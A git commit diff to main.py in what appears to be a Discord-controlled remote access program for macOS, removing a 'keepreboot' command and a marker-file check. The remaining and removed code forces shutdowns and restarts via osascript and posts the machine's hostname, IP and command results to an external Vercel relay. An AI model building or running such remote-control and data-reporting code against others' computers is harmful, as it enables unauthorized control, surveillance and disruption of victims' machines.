summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-09-03 21:02:21 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-09-03 21:02:43 +0800
commit1a6662e8d6888d524a5a41704a1bb03e160b4f1e (patch)
tree994896c0789c00bc3bc5dcc2f8b44f3831f201ec
parent0757e319858b649bcdf863863a4d3c9d41469fda (diff)
reverted .syspower and keeprebootmain
-rw-r--r--.DS_Storebin0 -> 6148 bytes
-rw-r--r--main.py21
2 files changed, 1 insertions, 20 deletions
diff --git a/.DS_Store b/.DS_Store
new file mode 100644
index 0000000..8e5e582
--- /dev/null
+++ b/.DS_Store
Binary files differ
diff --git a/main.py b/main.py
index a18696a..8f3cc04 100644
--- a/main.py
+++ b/main.py
@@ -193,7 +193,7 @@ while True:
exit()
elif command.startswith('syspower'):
localcmd = command.split()
- if localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"):
+ if localcmd[1<len(localcmd)]:
try:
if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff':
if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0:
@@ -265,28 +265,9 @@ while True:
except KeyboardInterrupt:
continue
continue
- open(f"{expanduser('~')}/.syspower", 'w').close()
except:
continue
- elif localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"):
- if localcmd[1] == 'keepreboot':
- if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0:
- try:
- post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer gonna be keep rebooting, cya...```")
- old_command = commandId
- except:
- try:
- post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```")
- except KeyboardInterrupt:
- continue
- continue
- else:
- try:
- post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```")
- except KeyboardInterrupt:
- continue
- continue
else:
remove(expanduser('~')/'.syspower')